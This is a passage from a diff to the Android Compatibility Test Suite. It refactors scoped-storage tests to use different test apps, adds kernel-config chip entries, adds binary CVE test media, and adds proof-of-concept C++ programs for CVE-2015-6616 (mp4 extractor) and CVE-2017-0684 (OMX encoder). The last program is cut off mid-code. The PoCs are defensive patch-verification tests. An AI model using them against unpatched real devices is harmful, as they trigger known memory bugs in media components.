+                    otherAppExternalDataFile.createNewFile();
+                });
     }
 
     @Test
@@ -808,9 +711,8 @@
         final File otherTopLevelFile = new File(getExternalStorageDir(),
                 "other" + NONMEDIA_FILE_NAME);
         try {
-            installApp(TEST_APP_A);
-            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            createFileUsingTradefedContentProvider(otherTopLevelFile);
+            assertCreateFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
+            createFileAsLegacyApp(otherTopLevelFile);
 
             // We can list other apps' files
             assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -822,9 +724,8 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            uninstallApp(TEST_APP_A);
+            deleteAsLegacyApp(otherTopLevelFile);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf);
         }
     }
 
@@ -835,18 +736,16 @@
         final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
         final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
         try {
-            installApp(TEST_APP_A);
             // Apps can't query other app's pending file, hence create file and publish it.
             assertCreatePublishedFilesAs(
-                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
 
             assertCanQueryAndOpenFile(otherAppPdf, "rw");
             assertCanQueryAndOpenFile(otherAppImg, "rw");
             assertCanQueryAndOpenFile(otherAppMusic, "rw");
             assertCanQueryAndOpenFile(otherHiddenFile, "rw");
         } finally {
-            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
-            uninstallApp(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
         }
     }
 
@@ -897,7 +796,7 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
 
         File fileToRemain = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        String testAppPackageName = TEST_APP_A.getPackageName();
+        String testAppPackageName = APP_B_NO_PERMS.getPackageName();
         File fileToBeDeleted =
                 new File(
                         getAndroidMediaDir(),
@@ -908,11 +807,9 @@
                         String.format("%s/nesteddir/%s", testAppPackageName, IMAGE_FILE_NAME));
 
         try {
-            installApp(TEST_APP_A);
-
-            createAndCheckFileAsApp(TEST_APP_A, fileToRemain);
-            createAndCheckFileAsApp(TEST_APP_A, fileToBeDeleted);
-            createAndCheckFileAsApp(TEST_APP_A, nestedFileToBeDeleted);
+            createAndCheckFileAsApp(APP_B_NO_PERMS, fileToRemain);
+            createAndCheckFileAsApp(APP_B_NO_PERMS, fileToBeDeleted);
+            createAndCheckFileAsApp(APP_B_NO_PERMS, nestedFileToBeDeleted);
 
             executeShellCommand("pm clear " + testAppPackageName);
 
@@ -933,10 +830,9 @@
             assertThat(getFileOwnerPackageFromDatabase(nestedFileToBeDeleted)).isNull();
             assertThat(getFileRowIdFromDatabase(nestedFileToBeDeleted)).isEqualTo(-1);
         } finally {
-            deleteFilesAs(TEST_APP_A, fileToRemain);
-            deleteFilesAs(TEST_APP_A, fileToBeDeleted);
-            deleteFilesAs(TEST_APP_A, nestedFileToBeDeleted);
-            uninstallAppNoThrow(TEST_APP_A);
+            deleteFilesAs(APP_B_NO_PERMS, fileToRemain);
+            deleteFilesAs(APP_B_NO_PERMS, fileToBeDeleted);
+            deleteFilesAs(APP_B_NO_PERMS, nestedFileToBeDeleted);
         }
     }
 
@@ -986,164 +882,6 @@
         assertThat(getFileRowIdFromDatabase(newFile)).isNotEqualTo(-1);
     }
 
-    /**
-     * Checks restrictions for opening pending and trashed files by different apps. Assumes that
-     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
-     * method doesn't uninstall given {@code testApp} at the end.
-     */
-    private void assertOpenPendingOrTrashed(Uri uri, TestApp testApp, boolean isImageOrVideo)
-            throws Exception {
-        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
-
-        // App can open its pending or trashed file for read or write
-        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
-        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
-
-        // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
-        // write
-        assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-        assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-
-        final int testAppUid =
-                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // File Manager can open any pending or trashed file for read or write
-            assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-            assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-        } finally {
-            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
-
-        try {
-            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            if (isImageOrVideo) {
-                // System Gallery can open any pending or trashed image/video file for read or write
-                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-                assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-            } else {
-                // System Gallery can't open other app's pending or trashed non-media file for read
-                // or write
-                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
-                assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
-            }
-        } finally {
-            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Checks restrictions for listing pending and trashed files by different apps. Assumes that
-     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
-     * method doesn't uninstall given {@code testApp} at the end.
-     */
-    private void assertListPendingOrTrashed(Uri uri, File file, TestApp testApp,
-            boolean isImageOrVideo) throws Exception {
-        final String parentDirPath = file.getParent();
-        assertTrue(new File(parentDirPath).isDirectory());
-
-        final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
-        assertThat(listedFileNames).doesNotContain(file);
-
-        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
-
-        assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
-
-        // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
-        assertThat(listAs(testApp, parentDirPath)).doesNotContain(pendingOrTrashedFile.getName());
-
-        final int testAppUid =
-                getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            // File Manager can see any pending or trashed file.
-            assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
-        } finally {
-            denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        }
-
-        try {
-            allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            if (isImageOrVideo) {
-                // System Gallery can see any pending or trashed image/video file.
-                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(testApp, parentDirPath)).contains(pendingOrTrashedFile.getName());
-            } else {
-                // System Gallery can't see other app's pending or trashed non media file.
-                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(testApp, parentDirPath))
-                        .doesNotContain(pendingOrTrashedFile.getName());
-            }
-        } finally {
-            denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    private Uri createPendingFile(File pendingFile) throws Exception {
-        assertTrue(pendingFile.createNewFile());
-
-        final ContentResolver cr = getContentResolver();
-        final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
-        assertNotNull(trashedFileUri);
-
-        final ContentValues values = new ContentValues();
-        values.put(MediaColumns.IS_PENDING, 1);
-        assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
-
-        return trashedFileUri;
-    }
-
-    private Uri createTrashedFile(File trashedFile) throws Exception {
-        assertTrue(trashedFile.createNewFile());
-
-        final ContentResolver cr = getContentResolver();
-        final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
-        assertNotNull(trashedFileUri);
-
-        trashFile(trashedFileUri);
-        return trashedFileUri;
-    }
-
-    private void trashFile(Uri uri) throws Exception {
-        final ContentValues values = new ContentValues();
-        values.put(MediaColumns.IS_TRASHED, 1);
-        assertEquals(1, getContentResolver().update(uri, values, Bundle.EMPTY));
-    }
-
-    /**
-     * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
-     * multiple db rows, file path is extracted from the first db row of the database query result.
-     */
-    private String getFilePathFromUri(Uri uri) {
-        final String[] projection = new String[] {MediaColumns.DATA};
-        try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
-            assertTrue(c.moveToFirst());
-            return c.getString(0);
-        }
-    }
-
-    private boolean isMediaTypeImageOrVideo(File file) {
-        return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
-    }
-
-    private static void assertIsMediaTypeImage(File file) {
-        final Cursor c = queryImageFile(file);
-        assertEquals(1, c.getCount());
-    }
-
-    private static void assertNotMediaTypeImage(File file) {
-        final Cursor c = queryImageFile(file);
-        assertEquals(0, c.getCount());
-    }
-
-    private static void assertCantQueryFile(File file) {
-        assertThat(getFileUri(file)).isNull();
-        // Confirm that file exists in the database.
-        assertNotNull(MediaStore.scanFile(getContentResolver(), file));
-    }
-
     private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
         for (File file : files) {
             assertFalse("File already exists: " + file, file.exists());
@@ -1169,48 +907,11 @@
         }
     }
 
-
     private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
         for (File file : files) {
             deleteFileAs(testApp, file.getPath());
         }
     }
-    private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
-            throws Exception {
-        for (String path: filePaths) {
-            assertTrue("Failed to delete file " + path + " on behalf of "
-                    + testApp.getPackageName(), deleteFileAs(testApp, path));
-        }
-    }
-
-    private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
-            throws Exception {
-        for (String path: filePaths) {
-            assertFalse("Deleting " + path + " on behalf of " + testApp.getPackageName()
-                            + " was expected to fail", deleteFileAs(testApp, path));
-        }
-    }
-
-    private void deleteFiles(File... files) {
-        for (File file: files) {
-            if (file == null) continue;
-            file.delete();
-        }
-    }
-
-    private void deletePaths(String... paths) {
-        for (String path: paths) {
-            if (path == null) continue;
-            new File(path).delete();
-        }
-    }
-
-    private static void assertCanDeletePaths(String... filePaths) {
-        for (String filePath : filePaths) {
-            assertTrue("Failed to delete " + filePath,
-                    new File(filePath).delete());
-        }
-    }
 
     /**
      * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
@@ -1227,64 +928,6 @@
         }
     }
 
-    /**
-     * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
-     * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
-     * underlying file on disk but may be derived from different mount points and in that case
-     * have separate VFS caches.
-     */
-    private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
-            throws Exception {
-        FileDescriptor readFd = readPfd.getFileDescriptor();
-        FileDescriptor writeFd = writePfd.getFileDescriptor();
-
-        byte[] readBuffer = new byte[10];
-        byte[] writeBuffer = new byte[10];
-        Arrays.fill(writeBuffer, (byte) 1);
-
-        // Write so readFd has content to read from next
-        Os.pwrite(readFd, readBuffer, 0, 10, 0);
-        // Read so readBuffer is in readFd's mount VFS cache
-        Os.pread(readFd, readBuffer, 0, 10, 0);
-
-        // Assert that readBuffer is zeroes
-        assertThat(readBuffer).isEqualTo(new byte[10]);
-
-        // Write so writeFd and readFd should now see writeBuffer
-        Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
-
-        // Read so the last write can be verified on readFd
-        Os.pread(readFd, readBuffer, 0, 10, 0);
-
-        // Assert that the last write is indeed visible via readFd
-        assertThat(readBuffer).isEqualTo(writeBuffer);
-        assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
-    }
-
-    private void assertStartsWith(String actual, String prefix, boolean expected) throws Exception {
-        String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
-
-        if (expected) {
-            assertTrue(message, actual.startsWith(prefix));
-        } else {
-            assertFalse(message, actual.startsWith(prefix));
-        }
-    }
-
-    private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
-        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
-        String prefix = "/storage";
-
-        assertStartsWith(path, prefix, true);
-    }
-
-    private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
-        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
-        String prefix = "/mnt/user";
-
-        assertStartsWith(path, prefix, true);
-    }
-
     private static void assertCanCreateFile(File file) throws IOException {
         // If the file somehow managed to survive a previous run, then the test app was uninstalled
         // and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
@@ -1378,33 +1021,36 @@
         }
     }
 
-    private void createFileUsingTradefedContentProvider(File file) throws Exception {
-        // Files/Dirs are created using content provider. Owner of the Filse/Dirs is
-        // android.tradefed.contentprovider.
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createFileAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
         Log.d(TAG, "Creating file " + file);
-        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
     }
 
-    private void createDirUsingTradefedContentProvider(File file) throws Exception {
-        // Files/Dirs are created using content provider. Owner of the Files/Dirs is
-        // android.tradefed.contentprovider.
-        Log.d(TAG, "Creating Dir " + file);
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createDirectoryAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating directory " + file);
         // Create a tmp file in the target directory, this would also create the required
         // directory, then delete the tmp file. It would leave only new directory.
-        getContentResolver()
-            .openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), "w", null);
-        getContentResolver()
-            .delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), null, null);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+        assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
     }
 
-    private void deleteFileUsingTradefedContentProvider(File file) throws Exception {
+    /**
+     * Deletes a file at any location on storage (except external app data directory).
+     */
+    private void deleteAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to delete this file, since it could be outside shared storage.
         Log.d(TAG, "Deleting file " + file);
-        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
-    }
-
-    private void deleteDirUsingTradefedContentProvider(File file) throws Exception {
-        Log.d(TAG, "Deleting Dir " + file);
-        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+        deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
     }
 
     private int getCurrentUser() throws Exception {
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 6741b82..6de6044 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -262,6 +262,8 @@
         put("SDM429", null);
         put("SDM439", null);
         put("QM215", null);
+        put("ATOLL", null);
+        put("ATOLL-AB", null);
         put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
             "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
diff --git a/hostsidetests/securitybulletin/res/cve_2015_6616.mp4 b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
new file mode 100644
index 0000000..716c942
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0726.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
new file mode 100644
index 0000000..2e30e91
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.info b/hostsidetests/securitybulletin/res/cve_2020_0381.info
new file mode 100644
index 0000000..510c136
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.xmf b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
new file mode 100644
index 0000000..cbe4bbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.info b/hostsidetests/securitybulletin/res/cve_2020_0384.info
new file mode 100644
index 0000000..e74b507
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.xmf b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
new file mode 100644
index 0000000..5056ce3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.info b/hostsidetests/securitybulletin/res/cve_2020_0385.info
new file mode 100644
index 0000000..f0d0459
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.xmf b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
new file mode 100644
index 0000000..6437f9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0451.aac b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
new file mode 100644
index 0000000..7b04e05
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
new file mode 100644
index 0000000..33d0680
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2015-6616",
+
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+    srcs: [
+        "poc.cpp",
+    ],
+
+    include_dirs: [
+        "frameworks/av/media/libdatasource/include",
+        "frameworks/av/media/libstagefright/include",
+        "cts/hostsidetests/securitybulletin/securityPatch/includes",
+    ],
+
+    shared_libs: [
+        "libstagefright",
+        "libutils",
+        "libmedia",
+        "libdatasource",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
new file mode 100644
index 0000000..8d175cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <sys/types.h>
+#include <media/DataSource.h>
+#include <datasource/FileSource.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <android/IMediaExtractor.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MetaData.h>
+#include "../includes/common.h"
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+void * operator new(size_t size) {
+    if (size > 64 * 1024 * 1024) {
+        exit (EXIT_VULNERABLE);
+    }
+    return malloc(size);
+}
+
+using namespace android;
+
+int main(int argc, char **argv) {
+    (void) argc;
+    (void) argv;
+#if _64_BIT
+    GetExtractorDef getDef = nullptr;
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+
+    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+        if (!libHandle) {
+            return EXIT_FAILURE;
+        }
+    }
+
+    getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+    if (!getDef) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    sp < DataSource > dataSource = new FileSource(argv[1]);
+    if (dataSource == nullptr) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    void *meta = nullptr;
+    void* creator = nullptr;
+    FreeMetaFunc freeMeta = nullptr;
+    float confidence;
+    if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+        creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+                                              &meta, &freeMeta);
+    } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+        creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+                                              &meta, &freeMeta);
+    }
+    if (!creator) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta);
+    if (ret == nullptr) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    if (meta != nullptr && freeMeta != nullptr) {
+        freeMeta(meta);
+    }
+
+    MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+            new MediaExtractorCUnwrapper(ret);
+    MediaTrack* source = mediaExtractorCUnwrapper->getTrack(0);
+    if (source == nullptr) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    source->start();
+
+    dlclose(libHandle);
+#endif /* _64_BIT */
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
new file mode 100644
index 0000000..ad70e63
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+    name: "CVE-2017-0684",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_omxutils",
+    ],
+    shared_libs: [
+        "libstagefright",
+        "libbinder",
+        "libmedia_omx",
+        "libutils",
+        "liblog",
+        "libui",
+        "libstagefright_foundation",
+        "libcutils",
+        "libhidlbase",
+        "libhidlmemory",
+        "android.hidl.allocator@1.0",
+        "android.hardware.media.omx@1.0",
+    ],
+    include_dirs: [
+        "frameworks/native/include/media/openmax",
+        "frameworks/av/media/libstagefright",
+        "frameworks/native/include/media/hardware",
+    ],
+    compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
new file mode 100644
index 0000000..9b76c7b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/omxUtils.h"
+
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex,
+                        Vector<Buffer> *buffers) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(def.nBufferSize,
+                                                [&success, &buffer](
+                                                        bool s,
+                                                        hidl_memory const& m) {
+                                                    success = s;
+                                                    buffer.mHidlMemory = m;
+                                                });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+
+int main() {
+
+    /* Initialize OMX for the specified codec                            */
+    status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+    omxExitOnError(ret);
+    /* Get OMX input port parameters                                     */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    int ipBufferCount = params->nBufferCountActual;
+    /* Set port mode */
+    omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer);
+    /* Allocate input buffers and graphic buffer                         */
+    sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
+            params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+            HAL_PIXEL_FORMAT_RGBX_8888,
+            android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me");
+    int i;
+    Vector<Buffer> inputBuffers;
+    Vector<Buffer> outputBuffers;
+    /* Register input buffers with OMX component                         */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+    /* Get OMX output port parameters                                    */
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    int opBufferSize = params->nBufferSize;
+    int opBufferCount = params->nBufferCountActual;
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+    /* Do OMX State chage to Idle                                        */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State chage to Executing                                   */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    /* Empty input buffers and fill output buffers                       */
+    OMXBuffer omxIpBuf(graphicbuffer);
+    omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1);
+    OMXBuffer omxOpBuf(0, opBufferSize);
+    omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1);
+    /* Do OMX State chage to Idle                                        */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State chage to Loaded                                      */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    /* Free input and output buffers                                     */
+    for (i = 0; i < ipBufferCount; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+    }
+    for (i = 0; i < opBufferCount; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+    }
+    /*********************************************************************/
